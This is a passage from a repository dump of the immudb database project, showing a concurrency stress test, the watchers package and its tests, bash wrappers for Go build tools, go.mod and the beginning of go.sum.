id)\n\t\t}(i)\n\t}\n\tfor i := 0; i < c.readers; i++ {\n\t\twg.Add(1)\n\t\tgo func(id int) {\n\t\t\tif c.readDelay > 0 { // give time to populate db\n\t\t\t\ttime.Sleep(time.Duration(c.readDelay) * time.Millisecond)\n\t\t\t}\n\t\t\tlog.Printf(\"Reader %d is reading data\\n\", id)\n\t\t\tfor i := 1; i <= c.rdCount; i++ {\n\t\t\t\tr, err := engine.Query(context.Background(), nil, \"SELECT count() FROM entries where id<=@i;\", map[string]interface{}{\"i\": i})\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Error querying val %d: %s\", i, err.Error())\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tret, err := r.Read(context.Background())\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Error reading val %d: %s\", i, err.Error())\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tr.Close()\n\t\t\t\tn := ret.ValuesBySelector[\"(defaultdb.entries.col0)\"].RawValue().(uint64)\n\t\t\t\tif n != uint64(i) {\n\t\t\t\t\tlog.Printf(\"Reader %d read %d vs %d\", id, n, i)\n\t\t\t\t}\n\t\t\t\tif c.readPause > 0 {\n\t\t\t\t\ttime.Sleep(time.Duration(c.readPause) * time.Millisecond)\n\t\t\t\t}\n\t\t\t}\n\t\t\twg.Done()\n\t\t\tlog.Printf(\"Reader %d out\\n\", id)\n\t\t}(i)\n\t}\n\twg.Wait()\n\tlog.Printf(\"All committers done...\\r\\n\")\n\n\tr, err := engine.Query(context.Background(), nil, \"SELECT count() FROM  entries;\", map[string]interface{}{})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\trow, err := r.Read(context.Background())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcount := row.ValuesBySelector[\"(defaultdb.entries.col0)\"].RawValue().(uint64)\n\tlog.Printf(\"- Counted %d entries\\n\", count)\n\tdefer func() {\n\t\terr := r.Close()\n\t\tif err != nil {\n\t\t\tpanic(\"reader closed with error\")\n\t\t}\n\t}()\n}\n"
  },
  {
    "path": "embedded/watchers/watchers.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage watchers\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"sync\"\n)\n\nvar ErrMaxWaitessLimitExceeded = errors.New(\"watchers: max waiting limit exceeded\")\nvar ErrAlreadyClosed = errors.New(\"watchers: already closed\")\nvar ErrIllegalState = errors.New(\"watchers: illegal state\")\n\ntype WatchersHub struct {\n\twpoints map[uint64]*waitingPoint\n\n\tdoneUpto uint64 // no-wait on lower or equal values\n\n\tmaxWaiting int\n\twaiting    int\n\n\tclosed bool\n\n\tmutex sync.Mutex\n}\n\ntype waitingPoint struct {\n\tt     uint64\n\tch    chan struct{}\n\tcount int\n}\n\nfunc New(doneUpto uint64, maxWaiting int) *WatchersHub {\n\treturn &WatchersHub{\n\t\twpoints:    make(map[uint64]*waitingPoint, 0),\n\t\tdoneUpto:   doneUpto,\n\t\tmaxWaiting: maxWaiting,\n\t}\n}\n\nfunc (w *WatchersHub) Status() (doneUpto uint64, waiting int, err error) {\n\tw.mutex.Lock()\n\tdefer w.mutex.Unlock()\n\n\tif w.closed {\n\t\treturn 0, 0, ErrAlreadyClosed\n\t}\n\n\treturn w.doneUpto, w.waiting, nil\n}\n\nfunc (w *WatchersHub) RecedeTo(t uint64) error {\n\tw.mutex.Lock()\n\tdefer w.mutex.Unlock()\n\n\tif w.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif w.doneUpto < t {\n\t\treturn ErrIllegalState\n\t}\n\n\tw.doneUpto = t\n\n\treturn nil\n}\n\nfunc (w *WatchersHub) DoneUpto(t uint64) error {\n\tw.mutex.Lock()\n\tdefer w.mutex.Unlock()\n\n\tif w.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif w.doneUpto >= t {\n\t\treturn nil\n\t}\n\n\tfor i := w.doneUpto + 1; i <= t; i++ {\n\t\tif w.waiting == 0 {\n\t\t\tbreak\n\t\t}\n\n\t\twp, waiting := w.wpoints[i]\n\t\tif waiting {\n\t\t\tclose(wp.ch)\n\t\t\tw.waiting -= wp.count\n\t\t\twp.count = 0\n\t\t\tdelete(w.wpoints, i)\n\t\t}\n\t}\n\n\tw.doneUpto = t\n\n\treturn nil\n}\n\nfunc (w *WatchersHub) WaitFor(ctx context.Context, t uint64) error {\n\tw.mutex.Lock()\n\tdefer w.mutex.Unlock()\n\n\tif w.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif w.doneUpto >= t {\n\t\treturn nil\n\t}\n\n\tif w.waiting == w.maxWaiting {\n\t\treturn ErrMaxWaitessLimitExceeded\n\t}\n\n\twp, waiting := w.wpoints[t]\n\tif !waiting {\n\t\twp = &waitingPoint{t: t, ch: make(chan struct{})}\n\t\tw.wpoints[t] = wp\n\t}\n\n\twp.count++\n\tw.waiting++\n\n\tw.mutex.Unlock()\n\n\tcancelled := false\n\n\tselect {\n\tcase <-wp.ch:\n\t\tbreak\n\tcase <-ctx.Done():\n\t\tcancelled = true\n\t}\n\n\tw.mutex.Lock()\n\n\tif w.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif cancelled {\n\n\t\t// `wp.count` will be zeroed if the `t` point was already processed in\n\t\t// `DoneUpTo` call (a situation when both cancellation and call to `DoneUpTo`\n\t\t// happen simultaneously), otherwise its necessary to cleanup after we stopped waiting.\n\t\tif wp.count > 0 {\n\t\t\tw.waiting--\n\t\t\twp.count--\n\n\t\t\tif wp.count == 0 {\n\t\t\t\t// This was the last `WaitFor`` caller waiting for the point `t``,\n\t\t\t\t// cleanup the `w.wpoints` array to avoid holding idle entries there.\n\t\t\t\tclose(wp.ch)\n\t\t\t\tdelete(w.wpoints, t)\n\t\t\t}\n\t\t}\n\n\t\treturn ctx.Err()\n\t}\n\n\treturn nil\n}\n\nfunc (w *WatchersHub) Close() error {\n\tw.mutex.Lock()\n\tdefer w.mutex.Unlock()\n\n\tif w.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tw.closed = true\n\n\tfor _, wp := range w.wpoints {\n\t\tclose(wp.ch)\n\t\tw.waiting -= wp.count\n\t\twp.count = 0\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/watchers/watchers_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage watchers\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestWatchersHub(t *testing.T) {\n\twaitessCount := 1_000\n\n\twHub := New(0, waitessCount*2)\n\n\twHub.DoneUpto(0)\n\n\terr := wHub.RecedeTo(1)\n\trequire.ErrorIs(t, err, ErrIllegalState)\n\n\tctx, cancel := context.WithTimeout(context.Background(), 100*time.Millisecond)\n\tdefer cancel()\n\n\terr = wHub.WaitFor(ctx, 1)\n\trequire.ErrorIs(t, err, context.DeadlineExceeded)\n\n\tdoneUpto, waiting, err := wHub.Status()\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(0), doneUpto)\n\trequire.Equal(t, 0, waiting)\n\n\tvar wg sync.WaitGroup\n\twg.Add(waitessCount * 2)\n\n\tfor it := 0; it < 2; it++ {\n\t\tfor i := 1; i <= waitessCount; i++ {\n\t\t\tgo func(i uint64) {\n\t\t\t\tdefer wg.Done()\n\t\t\t\terr := wHub.WaitFor(context.Background(), i)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}(uint64(i))\n\t\t}\n\t}\n\n\ttime.Sleep(10 * time.Millisecond)\n\n\terr = wHub.WaitFor(context.Background(), uint64(waitessCount*2+1))\n\trequire.ErrorIs(t, err, ErrMaxWaitessLimitExceeded)\n\n\tdone := make(chan struct{})\n\n\tgo func(done <-chan struct{}) {\n\t\tid := uint64(1)\n\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-time.Tick(1 * time.Millisecond):\n\t\t\t\t{\n\t\t\t\t\terr := wHub.DoneUpto(id + 2)\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\tid++\n\t\t\t\t}\n\t\t\tcase <-done:\n\t\t\t\t{\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}(done)\n\n\twg.Wait()\n\n\tdone <- struct{}{}\n\n\tif t.Failed() {\n\t\tt.FailNow()\n\t}\n\n\terr = wHub.WaitFor(context.Background(), 5)\n\trequire.NoError(t, err)\n\n\terr = wHub.RecedeTo(5)\n\trequire.NoError(t, err)\n\n\twg.Add(1)\n\n\tgo func() {\n\t\tdefer wg.Done()\n\t\terr := wHub.WaitFor(context.Background(), uint64(waitessCount)+1)\n\t\tif !errors.Is(err, ErrAlreadyClosed) {\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}()\n\n\ttime.Sleep(1 * time.Millisecond)\n\n\terr = wHub.Close()\n\trequire.NoError(t, err)\n\n\twg.Wait()\n\n\tif t.Failed() {\n\t\tt.FailNow()\n\t}\n\n\terr = wHub.WaitFor(context.Background(), 0)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = wHub.DoneUpto(0)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = wHub.RecedeTo(0)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, err = wHub.Status()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = wHub.Close()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestSimultaneousCancellationAndNotification(t *testing.T) {\n\twHub := New(0, 30)\n\n\tconst maxIterations = 100\n\n\twg := sync.WaitGroup{}\n\t// Spawn waitees\n\tfor i := 0; i < 2; i++ {\n\t\twg.Add(1)\n\t\tgo func(i int) {\n\t\t\tdefer wg.Done()\n\n\t\t\tfor j := uint64(0); j < maxIterations; j++ {\n\t\t\t\tfunc() {\n\t\t\t\t\tctx, cancel := context.WithTimeout(context.Background(), time.Millisecond)\n\t\t\t\t\tdefer cancel()\n\n\t\t\t\t\tdoneUpTo, _, err := wHub.Status()\n\t\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\t\terr = wHub.WaitFor(ctx, j)\n\t\t\t\t\tif errors.Is(err, context.DeadlineExceeded) {\n\t\t\t\t\t\t// Check internal invariant of the wHub\n\t\t\t\t\t\t// Since we got cancel request it must only happen\n\t\t\t\t\t\t// as long as we did not already cross the waiting point\n\t\t\t\t\t\trequire.Less(t, doneUpTo, j)\n\t\t\t\t\t} else {\n\t\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\t}\n\t\t\t\t}()\n\t\t\t}\n\t\t}(i)\n\t}\n\n\t// Producer\n\tfor j := uint64(1); j < maxIterations; j++ {\n\t\twHub.DoneUpto(j)\n\t\ttime.Sleep(time.Millisecond)\n\t}\n\n\twg.Wait()\n\n\tassert.Zero(t, wHub.waiting)\n\tassert.Empty(t, wHub.wpoints)\n}\n"
  },
  {
    "path": "ext-tools/buf",
    "content": "#!/usr/bin/env bash\n\ngo run github.com/bufbuild/buf/cmd/buf@v1.8.0 \"${@}\"\n"
  },
  {
    "path": "ext-tools/go-acc",
    "content": "#!/usr/bin/env bash\n\ngo run github.com/ory/go-acc \"$@\""
  },
  {
    "path": "ext-tools/goveralls",
    "content": "#!/usr/bin/env bash\n\ngo run github.com/mattn/goveralls \"$@\"\n"
  },
  {
    "path": "go.mod",
    "content": "module github.com/codenotary/immudb\n\ngo 1.24.0\n\nrequire (\n\tgithub.com/fatih/color v1.13.0\n\tgithub.com/gizak/termui/v3 v3.1.0\n\tgithub.com/gogo/protobuf v1.3.2\n\tgithub.com/golang/protobuf v1.5.4\n\tgithub.com/google/uuid v1.4.0\n\tgithub.com/grpc-ecosystem/go-grpc-middleware v1.3.0\n\tgithub.com/grpc-ecosystem/go-grpc-prometheus v1.2.0\n\tgithub.com/grpc-ecosystem/grpc-gateway v1.16.0\n\tgithub.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0\n\tgithub.com/influxdata/influxdb-client-go/v2 v2.13.0\n\tgithub.com/jackc/pgx/v4 v4.18.2\n\tgithub.com/jaswdr/faker v1.16.0\n\tgithub.com/lib/pq v1.10.9\n\tgithub.com/mattn/goveralls v0.0.11\n\tgithub.com/o1egl/paseto v1.0.0\n\tgithub.com/olekukonko/tablewriter v0.0.5\n\tgithub.com/ory/go-acc v0.2.8\n\tgithub.com/peterh/liner v1.2.1\n\tgithub.com/prometheus/client_golang v1.12.2\n\tgithub.com/prometheus/client_model v0.2.0\n\tgithub.com/prometheus/common v0.32.1\n\tgithub.com/prometheus/procfs v0.7.3\n\tgithub.com/pseudomuto/protoc-gen-doc v1.4.1\n\tgithub.com/rogpeppe/go-internal v1.9.0\n\tgithub.com/rs/xid v1.5.0\n\tgithub.com/schollz/progressbar/v2 v2.15.0\n\tgithub.com/spf13/cobra v1.6.1\n\tgithub.com/spf13/pflag v1.0.5\n\tgithub.com/spf13/viper v1.15.0\n\tgithub.com/stretchr/testify v1.8.4\n\tgithub.com/takama/daemon v0.12.0\n\tgolang.org/x/crypto v0.48.0\n\tgolang.org/x/net v0.50.0\n\tgolang.org/x/sys v0.41.0\n\tgolang.org/x/tools/cmd/cover v0.1.0-deprecated\n\tgoogle.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d\n\tgoogle.golang.org/grpc v1.57.1\n\tgoogle.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0\n\tgoogle.golang.org/protobuf v1.36.6\n)\n\nrequire (\n\tgithub.com/Masterminds/goutils v1.1.1 // indirect\n\tgithub.com/Masterminds/semver v1.5.0 // indirect\n\tgithub.com/Masterminds/sprig v2.22.0+incompatible // indirect\n\tgithub.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect\n\tgithub.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect\n\tgithub.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect\n\tgithub.com/apapsch/go-jsonmerge/v2 v2.0.0 // indirect\n\tgithub.com/beorn7/perks v1.0.1 // indirect\n\tgithub.com/cespare/xxhash v1.1.0 // indirect\n\tgithub.com/cespare/xxhash/v2 v2.2.0 // indirect\n\tgithub.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect\n\tgithub.com/davecgh/go-spew v1.1.1 // indirect\n\tgithub.com/dgraph-io/ristretto v0.0.2 // indirect\n\tgithub.com/envoyproxy/protoc-gen-validate v0.10.1 // indirect\n\tgithub.com/fsnotify/fsnotify v1.6.0 // indirect\n\tgithub.com/ghodss/yaml v1.0.0 // indirect\n\tgithub.com/golang/glog v1.2.4 // indirect\n\tgithub.com/hashicorp/hcl v1.0.0 // indirect\n\tgithub.com/huandu/xstrings v1.3.2 // indirect\n\tgithub.com/imdario/mergo v0.3.13 // indirect\n\tgithub.com/inconshreveable/mousetrap v1.0.1 // indirect\n\tgithub.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 // indirect\n\tgithub.com/jackc/chunkreader/v2 v2.0.1 // indirect\n\tgithub.com/jackc/pgconn v1.14.3 // indirect\n\tgithub.com/jackc/pgio v1.0.0 // indirect\n\tgithub.com/jackc/pgpassfile v1.0.0 // indirect\n\tgithub.com/jackc/pgproto3/v2 v2.3.3 // indirect\n\tgithub.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect\n\tgithub.com/jackc/pgtype v1.14.0 // indirect\n\tgithub.com/magiconair/properties v1.8.7 // indirect\n\tgithub.com/mattn/go-colorable v0.1.13 // indirect\n\tgithub.com/mattn/go-isatty v0.0.19 // indirect\n\tgithub.com/mattn/go-runewidth v0.0.13 // indirect\n\tgithub.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect\n\tgithub.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect\n\tgithub.com/mitchellh/copystructure v1.2.0 // indirect\n\tgithub.com/mitchellh/go-wordwrap v1.0.1 // indirect\n\tgithub.com/mitchellh/mapstructure v1.5.0 // indirect\n\tgithub.com/mitchellh/reflectwalk v1.0.2 // indirect\n\tgithub.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007 // indirect\n\tgithub.com/nsf/termbox-go v1.1.1 // indirect\n\tgithub.com/oapi-codegen/runtime v1.0.0 // indirect\n\tgithub.com/ory/viper v1.7.5 // indirect\n\tgithub.com/pborman/uuid v1.2.0 // indirect\n\tgithub.com/pelletier/go-toml v1.9.5 // indirect\n\tgithub.com/pelletier/go-toml/v2 v2.0.9 // indirect\n\tgithub.com/pkg/errors v0.9.1 // indirect\n\tgithub.com/pmezard/go-difflib v1.0.0 // indirect\n\tgithub.com/pseudomuto/protokit v0.2.1 // indirect\n\tgithub.com/rivo/uniseg v0.2.0 // indirect\n\tgithub.com/russross/blackfriday/v2 v2.1.0 // indirect\n\tgithub.com/spf13/afero v1.9.3 // indirect\n\tgithub.com/spf13/cast v1.5.0 // indirect\n\tgithub.com/spf13/jwalterweatherman v1.1.0 // indirect\n\tgithub.com/subosito/gotenv v1.4.2 // indirect\n\tgolang.org/x/mod v0.32.0 // indirect\n\tgolang.org/x/term v0.40.0 // indirect\n\tgolang.org/x/text v0.34.0 // indirect\n\tgolang.org/x/tools v0.41.0 // indirect\n\tgoogle.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect\n\tgoogle.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect\n\tgopkg.in/ini.v1 v1.67.0 // indirect\n\tgopkg.in/yaml.v2 v2.4.0 // indirect\n\tgopkg.in/yaml.v3 v3.0.1 // indirect\n)\n\nreplace github.com/takama/daemon v0.12.0 => github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4\n\nreplace github.com/spf13/afero => github.com/spf13/afero v1.5.1\n"
  },
  {
    "path": "go.sum",
    "content": "cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=\ncloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=\ncloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=\ncloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=\ncloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=\ncloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=\ncloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=\ncloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=\ncloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=\ncloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=\ncloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=\ncloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=\ncloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=\ncloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=\ncloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=\ncloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=\ncloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=\ncloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=\ncloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=\ncloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=\ncloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=\ncloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=\ncloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=\ncloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=\ncloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=\ncloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=\ncloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=\ncloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=\ncloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=\ncloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=\ndmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=\ngithub.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=\ngithub.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=\ngithub.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI=\ngithub.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU=\ngithub.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=\ngithub.com/Masterminds/semver v1.5.0 h1:H65muMkzWKEuNDnfl9d70GUjFniHKHRbFPGBuZ3QEww=\ngithub.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=\ngithub.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=\ngithub.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o=\ngithub.com/Masterminds/sprig v2.22.0+incompatible h1:z4yfnGrZ7netVz+0EDJ0Wi+5VZCSYp4Z0m2dk6cEM60=\ngithub.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o=\ngithub.com/OneOfOne/xxhash v1.2.2 h1:KMrpdQIwFcEqXDklaen+P1axHaj9BSKzvpUUfnHldSE=\ngithub.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=\ngithub.com/RaveNoX/go-jsoncommentstrip v1.0.0/go.mod h1:78ihd09MekBnJnxpICcwzCMzGrKSKYe4AqU6PDYYpjk=\ngithub.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY=\ngithub.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA=\ngithub.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU=\ngithub.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOdbQRg5nAHt2jrc5QbV0AGuhDdfQI6gXjiFE=\ngithub.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU=\ngithub.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw=\ngithub.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us=\ngithub.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=\ngithub.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=\ngithub.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=\ngithub.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=\ngithub.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho=\ngithub.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=\ngithub.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ=\ngithub.com/apapsch/go-jsonmerge/v2 v2.0.0 h1:axGnT1gRIfimI7gJifB699GoE/oq+F2MU7Dml6nw9rQ=\ngithub.com/apapsch/go-jsonmerge/v2 v2.0.0/go.mod h1:lvDnEdqiQrp0O42VQGgmlKpxL1AP2+08jFMw88y4klk=\ngithub.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=\ngithub.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=\ngithub.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=\ngithub.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=\ngithub.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=\ngithub.com/bmatcuk/doublestar v1.1.1/go.mod h1:UD6OnuiIn0yFxxA2le/rnRU1G4RaI4UvFv1sNto9p6w=\ngithub.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=\ngithub.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko=\ngithub.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=\ngithub.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=\ngithub.com/cespare/xxhash/v2 v2.1.2/go.mod 